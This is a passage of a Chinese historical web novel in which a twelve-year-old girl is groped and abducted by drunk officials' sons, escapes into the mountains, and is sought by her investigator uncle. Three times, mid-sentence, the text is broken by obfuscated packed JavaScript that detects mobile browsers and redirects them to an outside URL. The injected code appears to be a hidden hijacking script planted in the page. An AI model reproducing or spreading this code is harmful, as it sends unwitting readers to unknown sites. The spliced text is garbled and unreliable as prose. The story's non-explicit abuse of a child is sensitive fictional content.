邬立同摆摆手，他忽而想起今日卧在崔承戟身后的女子，崔承戟竟不避讳她听见那些密报。世人皆言这位崔少卿冷面冷心不近女色，年过二十尚未娶亲，只埋首于政事，如今看来真乃讹传。 “你回去同夫人说，这两日寻几位容貌绝艳的女子出来，本官自有大用。” 崔承戟刚要起身，身后衣襟却被人攥住。宝音睁着一双圆溜儿的眼睛，戚戚盯着他。邬大人打的那些哑谜她听不大懂，但那几句“儿女亲事”她心中却清明得很。 去年六月宋敏珠来了月信，二夫人房里常常关起房门说些婚嫁的话，宝音也听到几耳朵。那位刺史大人又说宝音年纪巧，又说东宫操心皇孙嫁娶事宜，明晃晃地暗示宝音处在东宫待选行列。二叔如何想的呢？宝音很想知道。东宫是个富贵窝，满天下谁不想跟东宫攀亲戚讲交情？ 宝音在宋家这些年，很知道一个女子的婚事是与家族前程挂钩的。当初宝音母亲宋贞淑为了嫁给崔守锋，擅自退掉儿时婚约，害宋继文兄弟在靖州仕途不顺、受人冷落，宝音如今才在宋家处处艰难。 “二叔……” 崔承戟揉了揉宝音的额发：“吵醒了？” 宝音摇摇头。 “再睡会。” “嗯。”宝音低了眸子。 崔承戟看穿她的心思，轻笑一声：“才多大点的孩子，哪里就到婚嫁的地步。东宫太心急了。” 宝音嘴唇翕动，她攥住崔承戟的袖口，抿唇道：“宝音听说如果家中有女儿入宫为妃，前朝的父兄便会仕途平稳坦顺。” “二叔，如果我入东宫，会不会帮到您？” 4. 宿怨 宝音略微支起上身，那双琉璃似的眸子定定盯住崔承戟。她不期望崔承戟的答案，只是在心里觉得，二叔救过自己两次，只要二叔需要、只要对二叔有益，宝音愿意去做任何事。哪怕是入宫，哪怕是牺牲自己。 原本覆在宝音额前、骨节分明的手微微颤抖，崔承戟没想到宝音会如此谋划自己的婚姻。 才十二岁的小女娘，不该对未来充满期待么？在他看不到的逼仄角落里，宝音究竟经历过什么，才使得她这样早熟、敏感？崔承戟感受到心口一阵收缩。他曾在阿兄阿嫂墓前发誓，他会好好教养宝音，日后为她寻一门极好的亲事，准备丰厚的资妆，让她平安喜乐地度过一生。 “宝音，”崔承戟沉下脸，“没有哪位父兄愿意女儿妹妹入宫，这无异于将软肋亲手递到砧板上。” “我答应过你父母，你的婚事、你的一切，我都会为你安排妥当，你不必自己操心。” 宝音垂眼。二叔是不是嫌她自作主张？ “从前将你丢在宋家，是因为我和父亲皆以为宋家的女眷们更适宜教养女娘，却没想到那宋家是个虎狼窝，生生磋磨了你七年。从今后，你只管同别的女娘一样，不必再为吃食、生存操心。” 崔承戟将这些话一一摊开告予宝音：“你只管做崔家的女娘，一切有二叔在。” 眼泪“啪嗒啪嗒”滴在宝音手背上，崔承戟低头一看，她眼眶红了一圈儿，死命咬着唇不肯发出声音来。 他最厌烦见女人哭。女人的哭，就像黄梅天的旧衣服，潮湿、阴郁、还幽幽不绝。在京都大理寺的时候，几乎每天都有妇人太太到他跟前向犯了事的夫婿求情，他懒怠应付。 只是这会儿宝音呜呜哭起来，因刻意抑制而微微颤抖的哭腔，几滴清泪落在手背，顺着经络滑入锦衾，消失无迹。他心里陡然无了那些烦躁，只剩下无边际的痛和愧。 他是宝音这七年黯淡童年的罪魁祸首。 他伸出手，指腹轻轻抹去宝音挂在眼角的泪珠子，滞声开口：“对不住。” “不要对不住！”宝音扑进崔承戟怀中，双手握住他结实的臂膀，终于忍不住放声哭出来。 到底是稚气未脱，方才还隐忍着不许眼泪流出，怕二叔厌了自己；这会儿仅二叔的一句话便再也撑不住。不但是哭，而且哭得大声、哭得放肆，也不管那些眼泪鼻涕弄脏了二叔的寝衣会不会惹恼他了，宝音似乎要把这几年的不忿痛痛快快地吼出来。 “不要对不住……”她又重复一遍。好像不说这句话，她这几年的委屈就能自欺欺人地永远藏在泥土里，永远不会被人撅出来晒在阳光下。 她总是习惯隐藏狼狈。 崔承戟愣了几息，伸出手轻轻拍宝音的脊背。瘦弱的身躯在他怀中一抽一抽地喘息，泪珠早已浸透寝衣，隔着布料丝丝触及温热肌理，崔承戟平生第一次失了主意，只好将这场哭放任下去，等到宝音哭累了，两肩一耸一耸地抽动，再发不出声音、流不出眼泪，他附在宝音耳畔，轻声：“睡会儿吧？” 宝音用手背揩去眼泪，模糊地“嗯”了一声，搂住崔承戟的腰腹往里靠了靠，寻个舒服的姿势才闭上眼。 宝音从前最爱蜷着身子睡，那样让她感到安全。可如今在二叔面前，好像只要抱着二叔，哪怕仅是二叔的一只臂膀，她也能安心。 榕参端药进屋时，正瞧见自家那素来喜怒不形于色的少卿大人抱着小女娘，低声耐心地哄睡，不觉傻了眼。 “做什么？”崔承戟有些不耐烦地问。 榕参暗暗咂舌，面上仍旧平淡：“大人，该用药了。” 崔承戟一饮而尽，连眉也未皱一下。药碗重重搁在红木托盘上：“下去吧。喊贞杏过来，把宝音抱回自己屋去睡。” 榕参瞥了一眼：“大人，我就能抱——”话未说完，生生受了崔承戟一记眼风，榕参忙道：“是。” “那还不走？” “属下查到一些事。三月初九的那只漕船突然延误了，日期未定。船主是个金陵人，现歇在品芳楼，船上只剩几个眼昏耳聋的看炉子的老头，其余人皆不见了。”榕参自怀中取出一枚铜钱，“这是属下在船上偷摸寻到的。” 这枚铜钱形制色泽与官制铜钱无异，毫无差别，唯铜钱反面的“靖州局制”四个字略为粗糙，且缺了短短一角笔锋。若不细看，难以辨认官银与私钱。 “果是同一批私银。”崔承戟捏住铜钱，眸色晦暗，“这些时日有什么人上过这只船？船主与什么人接触过？” “没有，这船主每日只在品芳楼作乐，不与人接触，且每天入夜就回船上，决不肯在外过夜。”榕参道，“大人，要不属下今夜就剿了这条船？” “他们这般做派，就是舍了这只船，等你去抓，好应付交差。”崔承戟眸光凌厉，“当务之急是寻到这些人制钱所在，方可将这腌臢事抽丝剥茧，料理干净。” 他摆手让榕参退下，眯眼沉思这桩私铸银锭案，那枚私钱被他捏在手中来去把玩。侧过脸，见宝音趴在他膝上，粉雕玉琢，睡得安恬。他忽而想起救宝音的那夜，他们本是查案之际碰巧路过一户农家，家中妇人临将生产，却遭贼人砍杀。他们便一路追拿这伙贼人，才误救宝音。 如今想来，那件事处处透着蹊跷，更遑论救完宝音后刺客偷袭了。他身上这毒调得精巧，至今尚无解药。足见供养这波刺客的，绝非等闲之辈。 宝音醒来时已在自己卧房中，贞杏坐在身边，手里攥只绣绷子，正绣迎春花。 “醒啦。姑娘饿吗？”她是最爱说爱笑的脾气，见谁都乐呵呵的，这也是崔承戟挑中她的缘故之一。 这会儿刚过正午，春光正好，自窗棂倾泄而来，木窗板雕的柿柿如意、年年有鱼竟也灵动如生。 宝音揉了揉惺忪睡眼，点点头。 贞杏旋即笑起来，拍拍荷包里的银子，声响清脆：“方才少卿大人走之前给了奴婢二两银锭，叫奴婢带姑娘去庆春园，它家的桂花鱼翅做得顶顶入味呢。” “二叔走了？”宝音蹙眉抬头。 贞杏不知宝音那点害怕被人丢下的心思，笑道：“少卿大人忙着查案，自是不能时时陪伴姑娘。” 宝音垂眼：“是呀，我怎能耽误二叔的正事。” 贞杏哪里想到这么多，附和道：“是呢，是呢，少卿大人此番来靖州便是为了查私铸银锭的案子。”她扶宝音起床，引着宝音坐在妆台前。 宝音心中落寞，任贞杏替她梳妆篦发，换了件杏黄色宝相花纹齐胸襦裙，外罩霞红罗袍，端的是明媚秀丽。贞杏满意地围宝音绕了几圈，方扶着宝音的手，叫了马车，娉娉婷婷往庆春园去。 已是午后，庆春园里人迹寥寥，唯二楼的几个雅间喧闹不息。茶酒博士见这一大一小两位女娘衣着不俗，小的那位更是品貌妍丽，猜想着是哪家小姐千金出门游玩，不敢怠慢，忙引两人往二楼雅间去坐。 头一遭来酒楼吃饭，宝音心中难免有些紧张， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279622|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手藏在袖中绞来绞去，只低头跟紧茶酒博士，不提防路过另一所雅间时，那一双因见了宝音而饧眼偷看、几要醉翻过去的眸子。 “宝音？”身后熟悉的声音唤住她。 宝音浑身一僵，转过身，正是她最不想看见之人。 王蟠刚被灌了好几盅酒，这会儿见了宝音越发酥倒，不由勾唇笑道：“几日不见，妮子越发出挑了。”跟在他身后的几位公子哥儿看热闹般盯住崔宝音。 他上下打量宝音，望见她衣着之时，不禁蹙紧眉头：“这身不适合你。你太纤瘦了，撑不起红黄之色，不如给宋敏珠穿，她胖。粉蓝白倒是衬你，瞧着楚楚可怜的，男子都爱见你这样穿。”王蟠上前捉住宝音的皓腕，醉醺醺地道：“走，哥哥带你买几身新衣裳！” 几位浪荡公子无不爆出大笑，纷纷起哄。 王蟠得了这些人的鼓动，越发要把宝音扯走，一壁拽她，一壁道：“长胖了呀，前时这腕子上还没几两肉的。” 浪荡公子们叫嚷道：“蟠兄，膀子都摸过了，还摸了什么？” 从王蟠说第一句话起，宝音就想跑了，只是被他们这群人堵在回廊，没个退路。等到王蟠捉住她手时，宝音尖叫一声，弓着身子拼命往回抽手。 一时间闹闹哄哄、吵吵嚷嚷，那茶酒博士愣在那儿也没了主意。按理说他该上前帮宝音，可王蟠这几人皆是靖州城有名有姓的官宦子弟，他哪里惹得起？只能一脑门子汗地说好话、求王蟠他们回屋去。 贞杏也急了，骂了句“混蛋”，便同茶酒博士道：“愣着作甚！去如意客栈请少卿大人过来！”她又补充道：“大理寺少卿崔承戟！”说罢，贞杏忙上前帮宝音脱手。 酒劲儿冒上来，王蟠登时发了脾气，他一脚踹开茶酒博士：“什么崔承戟，就是个焖鸡、烧鸡、葫芦鸡，到小爷面前就他娘的是个蔫鸡！” 手一使劲，宝音蹭的被他拽进怀里。放在宝音后腰的手狠狠捏了几把，才满意笑道：“哥哥想你许久了，今日你送上门来，合该是我们兄妹俩有缘。” 宝音觉到腰部被掐得生疼，那位置有一道细短的疤，去岁中秋王蟠用油灯烫的，烧破了她唯一一件好颜色的衣服，燎起一大片水泡。这会儿被他一掐，逼得她眼泪直出，她本能地扬起手反击，却被另一位脸生的官家子弟攥住手腕：“妹妹打疼了手，哥哥们是要心疼的。” 那人喷着酒气逼近，推搡之间，挂在那人腰间的铜钱吊坠刺进宝音眼里——“靖州局制”的靖字缺了一角笔锋。她猛然想起晨间二叔与榕参谈话时被自己偷偷瞥见的私铸铜钱，也是缺了一角笔锋。 这一行五六个人，白面锦服，皆喝醉了酒，皆是十五六岁最不服管教的年纪，皆略略懂了些男女之情，心思雀跃涌动——正是最最令人厌烦恶心的那类混账公子。他们记得崔宝音是宋家最没体面的表小姐，偏生醉酒忘了昨日宋家的祸事。这会儿见到宝音，还当是从前她寄养在宋家、被他们欺负了也不敢吭声的时候。 “放开我！”宝音陡然尖叫出声，声音似刀片刮过琉璃。 这几人明显一愣，只见宝音这会儿双目淬毒盯住他们，颇有宁为玉碎不为瓦全的架势。趁这个空当，宝音终于从二人手中挣扎出来。可退路依旧被他们挡住，前路是死胡同。 王蟠一笑：“妹妹往哪去？”又要上前。 宝音咬牙，决然同贞杏说道：“告诉二叔这儿有私银！” 说罢，宝音扭身，自二楼跃下。 5. 被抓 弱势的人要伸冤，往往以性命为代价，哪怕不死，也要吃个大亏。故此，他们拼尽全力，只为让这个亏尽可能小一些。 庆春园的一楼扎了座戏台子，台上铺波斯国兰绒毯，厚实柔软，可铺床卧睡。宝音正是瞧准了这座戏台，才敢一跃而下。 虽不致命，但从高处坠下到底难捱，胸前肋骨梗在那儿，像从身体里长出一节枯枝，突兀地扎在血肉中。宝音趴在戏台子上，无论如何是起不来了。很快，一阵甜腥溢满喉间。她挣扎着抬了抬头，鲜血便从嘴角流出，污了这块价值百金的兰绒毯。 二楼的人无不愣住。 贞杏尖叫唤了句“小姐”后，用力推开挡在眼前的公子少爷，笃笃笃跑下楼。 王蟠等人没想到宝音性子这么烈，也是傻眼，好一会儿才反应过来，其中一个道：“真晦气，不过同她玩一玩，这妮子装什么烈女呢！”王蟠僵在原地，双手按住栏杆，指甲近乎要插进木里。 “完了。”他已醒了酒，“要是被崔承戟知道……” 他猝然转头，对着那位佩戴铜钱吊坠的少年：“伯约兄，这可如何是好？” 靖州司马之子郑伯约此刻也被吓醒了酒，藏在袖口的双手微微颤抖。今日出门之前，他父亲刚刚告诫过他：“如意客栈如今住着一个姓崔的少卿，正要找咱家麻烦。这几日你仔细着，让他拿到短儿，你就没活头了，别说我，连娘娘也护不住你！” “把人带走。”他咬牙道。 身边人又是一愣，王蟠惑问：“什么？” “把人带走！”郑伯约攥紧双拳，“王蟠，你在郊外是不是有个空着的别院？” “我……”王蟠怔怔点头，“是，是有个院子。” 郑伯约眼中浮现狡黠之色，勾唇笑道：“你不是一直喜欢崔宝音么？” 几人各自唤来自家小厮，强硬把宝音抬走，连带绑住贞杏，捂了二人的嘴，一齐丢进马车里。庆春园的掌柜对此事司空见惯，并未多加阻拦，但从几人耳语中听见几句“如意客栈”“大理寺少卿”的话，知道此事非同小可，当即暗中派人去如意客栈请崔承戟。 逼仄狭窄的马车内，贞杏手脚都被人用麻绳捆紧，宝音只有手被松松捆住，嘴里塞了团破布防止她出声。或许是她受伤，那些人料定了她逃不脱。 她确实乏累极了，喉咙里像黏着一团血肉，咽不下去吐不出来。卧在车板上，宝音的一对杏眸像死了一样。 车帘随着马车前行微微晃动，缝隙间映出两位赶车之人的背影——洗褪色的粗麻布衣，头发乱蓬蓬扎在头顶，脊背孔武有力，看起来是做惯粗活的乡下男人。 马车走了一个多时辰，才在一户茅屋前停下。此间无人居住，门扉掩映，径生绿藓，煞是凄凉。 这两人各自单手将宝音、贞杏拎出马车，拎进茅屋，丢在柴草堆的矮床上，转身便要走。宝音忙忍痛膝行向前，朝二人磕头，呜呜咽咽要说话。 两人对视一眼，左侧男人上前拔掉塞在她嘴里的布团，没好气地问：“要干什么？” 宝音慢慢阖上嘴，只听得下颌“嘎嘣”一声弹响。她朝两人又磕了一次头：“求二位大人给点水米吃。” 倒是个不过分的请求。 这两条庄稼汉子本是老实本分的人，没什么坏心思但被生活逼得麻木不仁，若宝音求他们放她，或许他们还会打她两耳光，磨磨她的性子。但人食五谷杂粮，这要求合情合理。 又是左侧男人返回马车内，取来一袋酒囊并两只饼，丢在宝音面前。 宝音推了推贞杏。 贞杏方才被人抬进马车前，挨了好几下打，脸都肿了，这会儿才悠悠醒转。宝音指指杏贞被捆住的手：“系太紧了，不方便吃。” 左侧男人正要上前，被右侧的拦住：“你、你喂她，不……不就、就行了？” 宝音忙笑着点头：“嗯！”她扶贞杏坐起身，牵起胸前阵痛，不由蹙紧眉头，心中却暗暗盘算起来：这两个人，一个老实没心眼，你让他做什么他就做什么，一个口吃，短短一句话要顿好几次。足以见得此二人不是在大宅院里当差的，至少得在二门外伺候。 这边宝音和贞杏吃饼喝茶，那边两个男人各坐在一只草垛上监视她俩。 老实男人道：“这两位小姐犯了什么事？” 口吃男人答：“惹、惹了郑、郑家二爷。” “他也不是个好东西。” 宝音眉毛一跳。 口吃男人啐了一口：“多嘴。” 老实男人皱紧眉：“实话嘛。” 等宝音和贞杏吃完，他俩利索地将宝音的手缚上，重新卷了布团塞在宝音和贞杏口中，才掸掸衣服，离开了。 宝音靠着墙，听见那个口吃男人在苔藓径上滑了一跤，老实男人一边扶他，一边催促：“快点吧！天黑了，该干活了。” 他们的活是天黑时候干的！ 宝音抓住这个信息，脑中飞速运转。 打更人？可打更人为何又听从王蟠、郑伯约这些公子哥的调遣呢？宝音想不明白这些事，只好靠着墙，仰头喘息。 贞杏虽说也是苦出身，但从来不曾被人这样用麻绳绑过。这会儿她手脚绑得发麻，脸颊也发麻，趴在柴草堆上扭来扭去想要换个舒服的姿势。 宝音则适应许多，从前在宋家时，她若不小心说错话，曹嬷嬷怕打了她的嘴让人看出来，就团个布团塞她嘴里，故此也养成了宝音不爱说话、心事藏肚里的性子。 斗转星移，贞杏躺在柴草堆上已然睡熟。宝音仍靠在那儿，定定地从窗纸破洞里望向天际的一弯新月，眼泪顺着皮肤肌理滑到口中，洇湿了塞在嘴里的布团。 二叔在哪呢？他已经知道了这些事吧？该在找她了吧？想起二叔，宝音委屈更甚。明明上午她还能靠在二叔怀里安睡，怎么到晚上就被人绑着睡在草垛上了呢？ 万物皆睡下了，周遭阒然无声，静得宝音近乎可以听见自己的心跳。她听见栖在树枝上老鸹的啼叫，听见河水淌过顽石的哗哗流水声。 宝音是到三更时分才睡下的，醒来时那两个男人刚把马车停在茅屋前头。 他们带了点水饼，还有两套布衣，是农户妇人的衣着。 仍旧是老实男人开口：“吃点东西，把衣服换好跟我们走。”说罢，上前给宝音、贞杏松了绳子，拿开堵嘴的布团。 宝音揉揉手腕，正要开口，却听贞杏道：“两位大爷，行行好，内急，忍了一夜实在憋不住了。” 自己准备好的话提前被人说出来，宝音讶然看向贞杏，贞杏也在看她，无声之间二人交换眼风，宝音瞬间了然，她懂自己的主意。 两个男人也交换了眼神，口吃的点点头，老实男人便将绳子两端各缚在宝音和贞杏手上，自己牵着绳子中间，道：“跟我走。” 宝音和贞杏忙跟上去。 男人将二人牵往河边，指着流水道：“就这。” 宝音瘪瘪嘴：“河对岸那儿好像有个人，我不好意思，您让他走远点。” “这青邙山怎么可能有人！”老实男人口中虽是这样说，但还是转身去看。 宝音和贞杏对视一眼，一齐抬脚，使了全身力气将男人踹进河里。这力很大，宝音差点栽到河里，好在贞杏忙扶住她。 男人冷不丁跌到河里，脸正好磕到河中乱石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279623|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，挣扎了好一阵子才把脸探出水面。他刚要开口呼救同伴，石子如急雨猝不及防落在脸上，他呛到水，在河中手脚乱舞，渐渐沉下去。 “他不会死吧？”宝音有些不忍。 贞杏也蹙眉道：“不知道。要不……” 宝音见脚旁正好有一根枯枝，只比手臂略细一点。她把枯枝抬到河边，一半浸在水中：“他若有命活，就抓着这根树枝爬上来，也算我们对得起他两口饭了。”宝音一把攥住贞杏的腕子，朝茅屋相反方向跑去：“不管了，再不跑要被另一个发现了！” 这间茅屋筑在青邙山山脚，往反方向跑只能上山。 连接两人手腕的麻绳系的是死结，一时半会儿根本解不开。宝音和贞杏各自揣好一半麻绳在怀里，往山林间躲。 山间林木丛生，虬枝划破锦衣罗缎，割伤白腻肌肤。越往山上跑，雾气越浓，腐叶腥味氤氲在四周，如鬼魅幽幽地绕住宝音二人。 一直跑到看不见山下小路时，宝音与贞杏才喘着粗气放慢步子。扭头一瞧，二人脸上皆是血痕，尤以宝音更甚，她本就年岁小、肌肤娇嫩，况因昨日坠楼下颌脖颈全是血，乍一看宝音的脸，煞是可怖。 贞杏的指甲扣进掌心，颤声道：“小姐，少卿大人会来救我们的……对吧？” 乍闻崔承戟的名号，宝音忍不住滴下泪来，二叔在做什么呢？他找到哪里了？ 她咬唇点头：“二叔一定会来的！” 方才逃难时生出的巨大勇气此刻消弭殆尽，两个女孩倚树坐下，怀里各揣着麻绳，放声痛哭。可声音也不敢太大了，怕引人过来。 哭了半炷香时间，贞杏才注意到四周阴森之气，抱臂瑟瑟发抖：“也不知这是哪，如何跑出去找少卿大人。难不成要死在这！” 宝音抽抽鼻子，一抹眼泪，满手是血水，她心底越发凄凉。 逃是逃出来了，可不知逃到哪里，更不知如何逃到二叔眼前。 “刚刚那人说这里是青邙山。”宝音仰头，参天巨树伸出枝叶遮蔽苍穹，辨不清东南西北。 “我从没听说过靖州有个青邙山。” 靖州城最出名的山叫九明山。每逢花朝、清明等外出踏青的节日，靖州城内不论是世家簪缨还是寻常百姓，皆到九明山游玩。宝音只去过九明山，也只听说过九明山。 “我也不曾听说过什么青邙山。”贞杏绝望垂头。 “青邙山在靖州之西，底下是前朝昭敬皇帝的陵寝。” 宝音一惊，颤颤转身。 少年短褐打扮，腰间别一把羊角匕首，五官清朗却掩不住眉眼间的杀气，此刻正警惕地望着她们。 “你们是什么人？”少年的手已悄然按在匕首上，声音冷冽，“来青邙山做什么？” 不远处又响起一道声音，比眼前少年的更浑厚、更凶狠：“阿四，你那边怎么了？”说罢，一阵窸窸窣窣的响动，那远处的成年男子似乎正抬刀劈去枯枝，慢慢靠近。 见此少年手中有刀，宝音和贞杏早吓得不敢说话，更何况此刻有另一个成年男子正在逼近。 宝音忙跪在地上，冲他摇摇头，又指指远处男子的方向，咬唇不让眼中泪珠滚落：“求求你，别告诉别人。”说罢，她朝名唤阿四的少年磕头，贞杏也随着宝音一起磕头。 阿四眉心微皱，手起刀落，锐利寒刃滑过宝音脸颊，割下垂在鬓边的一缕碎发，与半截枯枝一齐被阿四握在掌心。 “没什么，一只野兔。”阿四转身同即将到来的男人说道，“阿大，这边树枝太多，也无甚草药，去那边吧。” 阿四举了举手中的枯枝，指向与宝音、贞杏完全相反的方向。 6. 阿四 靖州城郊，王蟠别院。 穿红戴绿的一对姐妹花被榕参押出来，脸色苍白难看。 榕参将她们丢在地上，禀报：“少卿大人，小姐不在里头。” 高头大马扬起前蹄，住了脚步，崔承戟单手勒住马头，凝眸一瞧，心弦骤然绷紧。 这对姐妹花，大的十四五岁，小的才十一二岁，看起来皆是形容不足，稚嫩可爱，通身一股孩子气。 崔承戟额前青筋微凸，低骂了一句，着人将王蟠拖出来。 王蟠满脸是血，被人架着臂膀拖来时，双腿已站不稳地。他掀了眼皮，咽下口浓血水：“该说的，我都说了……” “宝音呢！” 王蟠缓缓抬头，见面前跪着的姐妹花，却无宝音身影，不由蹙眉：“不可能……她被带到这儿了的。” “萍萍，你看到宝音了吗？” 跪在地上的红衣女子瑟瑟缩缩开口：“谁？是大爷常说的那个宋家表小姐么？” 王蟠感觉到崔承戟眸色又黯淡了几分，有些心虚地错开眼：“是，是她。” “大爷没带宝音过来，我们如何见呢。” 崔承戟眉心一皱。 榕参当即斥道：“崔姑娘的闺名是你等能念的么！” 王蟠急了：“什么带不带！”他吐口血痰在地上：“昨日下午的马车，冯三亲自赶的车过来，人呢！” 萍萍委屈地跪在地上：“昨日冯三是来过，送了庆春园一桌席面，不是大爷赏我们的么？” 崔承戟沉声：“那个冯三现在何处？” 王蟠小心翼翼道：“昨夜没回来。” 崔承戟拔刀按在王蟠胸前，攥紧刀柄的指节泛白，声音暗哑：“若宝音少了一根头发，我教你王家血流成河。” 王蟠扑通跪下，到底是十五岁的少年，见了兵刃只剩下惊惧害怕：“崔大、大人，我实不知啊。我亲眼看着宝音——呸，崔小姐上了我家冯三的马车……” 崔承戟抬腕使力，王蟠感到胸前一阵刺痛，呜呜呀呀叫嚷起来。 郑伯约一袭月白锦服，施施然而来。他瞥眼跪地求饶的王蟠，勾唇：“少卿大人，为难你侄女夫君做什么？” 崔承戟眯眼，盯住走近的郑伯约。 “蟠兄昨日下午刚做了崔小姐的夫君，此刻崔小姐害羞了，才故意躲着不肯见大人。”郑伯约笑得狡黠。 崔承戟不怒反笑：“你终于来了。” 他收刀入鞘，冷笑逼近郑伯约，指尖捏住其坠在腰间的铜钱吊坠：“郑公子衣冠楚楚，却比令尊更关心私银这等腌臢事。” 郑伯约色变，忙抽回吊坠，掩了惊色：“我不明白崔大人的话。” 崔承戟寒声道：“昨日宝音坠楼前的话，不止你一人听见了。” “我本以为，你只关心私银。没想到，你竟坐不住了，故意来卖破绽。”他一手按住郑伯约肩膀，“是想拿宝音同我做交易吗？” 郑伯远忍着肩膀的疼痛，强自笑道：“不愧是大理寺少卿，确实好智谋。” “是你太蠢。”崔承戟微扬下巴，“把人带过来。” 暗卫拖着冯三走近。 那冯三约莫四十岁光景，此刻如一滩烂肉趴在地上。 “昨夜查到冯三时，我便知道主谋不是王蟠，而是你，郑公子。” “那你为何……” “大理寺办案也讲证据。庆春园的茶酒博士和冯三皆一口咬定宝音是被王蟠带到城郊别院的，我又如何轻易缉拿靖州郑司马的嫡长子呢？” 崔承戟弯腰，贴在郑伯约耳畔：“若我抓错了人，郑昭仪不得伤心？” “所以你故意把王蟠打成这样，就是引我出来救他？！” 崔承戟笑开：“救他？” “你父亲想必这会儿就在那马车里吧？你们不是救王蟠，而是要救装满私银的无数只漕船。是也不是？” 郑伯约只觉眼前黑了几黑，方才路上父亲教他说的话，此刻尽数忘记了，满脑子只剩下“换宝音”。 郑伯约：“崔宝音和三月初九那只漕船，都给你。还有私银案的主谋，我们都备好了，你回京都以便复命，如何？” 崔承戟扬眉：“哦？主谋何人？” “宋继文，宋宗武。”郑伯约偷觑崔承戟神色，“从前他们薄待了崔宝音，我也可做个见证，你正好替崔宝音报仇。” “你如何把事都推到他们身上？” “郑家与大人皆是见证。” “在何处见证？” “三月初九夜，司马大人与少卿大人一同带兵缉拿畏罪潜逃的私银案嫌犯。” 崔承戟蹙眉佯作思考：“还不够。熔铸私银的地点还没有查到。” “你……”郑伯约咬唇，“宋家祠堂，怎么样？从前崔宝音在那儿挨打最多。” 崔承戟不由冷笑：“祠堂里如何炼铜？你真当朝内众臣同你一样蠢么？”随即朗声：“高主簿，记得如何了？” 角落里慢慢走出一名驼背老头，长衫打扮，头戴幞巾，手持狼毫供纸。高主簿呈上方才所录供词，崔承戟扫眼而过：“不错。现誊一份，送与邬刺史。” 郑伯远惊得后退半步，原来方才崔承戟不是与他交易，而是诱他伪造证据的口供。 眨眼间榕参等人已执锁链逼近，待那冰凉铁链捆住郑伯约时，崔承戟倾身俯视，眸光狠戾：“人，究竟在哪？” 郑伯约已吓得两股战战。 郑浴快步行来，满脸堆笑，朝崔承戟作了个揖：“崔大人，犬子年幼无知，得罪了大人，实乃某教导无方。” 老狐狸终于现身。崔承戟紧锁眉心。又一场机锋要打。 郑浴轻笑：“靖州的案子，勾连错节，大人不想查清楚涉案的所有世家么？” * 青邙山，山洞。 阿四擎麻绳中间，将宝音二人领到一处山洞前。 宝音抬眸四处打量，只见洞内幽黑无光，两壁凿痕显眼，想必是有人特意凿出此洞，专为躲雨歇脚之用。 往内几步，周遭温度陡然下降，宝音感觉到肌肤上泛起一层细细密密的鸡皮疙瘩。转眼一瞧，贞杏也抱住双臂，惶惶瑟瑟地发抖。 “这是哪儿？” 阿四望了她们一眼，不答。 他掏出随身携带的火折子，点燃堆在洞内的几根木头。 火光顷刻照亮黢黑山洞。 宝音和贞杏无不被吓得跌倒在地，洞内皆是白骨！ 无数只残骸断骨躺在地面，宝音忽觉心口涌上一股酸酸的暖流，忙跑出洞，止不住地呕吐。 阿四神色淡漠，瞥了眼宝音，便从腰间竹篓里取出几株草药，丢在贞杏面前：“捣碎了敷在伤口处。” 又将火折子给她。 宝音也不顾脏了，用那霞红罗袍的袖口擦干净嘴。 临走之前，阿四望了望二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279624|166773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，依旧是淡漠神色：“青邙山中常有山贼，死在这洞里起码不用受苦。在外头被山贼捉住，就说不准了。” 宝音忙问：“他们不知道这山洞吗？” “知道。”阿四将方才三人走过来的痕迹掩盖好，“这山洞专为他们丢尸用的。” “你能不能，帮我递个信儿给我二叔？”宝音走近。 “为什么？” 宝音踌躇地绞着手。贞杏也走上前，强装镇定，尾音却是藏不住的颤抖：“我家大人是大理寺少卿崔大人，你救了他侄女，他必定重金酬谢。” 阿四眯起眼：“崔……承戟？” 宝音惊喜道：“你知道二叔！” 阿四冷笑：“知道，与郑浴、邬立同一样的蛇鼠一窝。” 宝音蹙眉反驳：“二叔不是那样的人！他是来查案的！” “几年前，也有一个清官能臣来靖州查案，号称是前科探花郎，才智无双的人物。查了三个月，最后只处死了几个微不足道的小吏和他们的家眷。”阿四眸中淬出恨意，“这就是朝廷所谓的公正耿介！” “你二叔不是号称无心阎罗、冷面探官么！” “你二叔不是破案无数，最受皇帝器重，受皇命而来么！” “怎么还能把你给丢了？” 阿四情绪激动，双目通红，步步逼近宝音，那被衣领遮蔽的旧疤陡然露出，自耳后一直蔓延到肩窝，随脖颈间青筋微动，煞是可怖。 宝音被人逼得退无可退，半只脚已经踩空。一颗石子扑噜噜地滚下，消失于乱石矮草之间。 阿四从鼻腔中哼笑出声：“这样一个人物，怎么连自己侄女都护不好？” 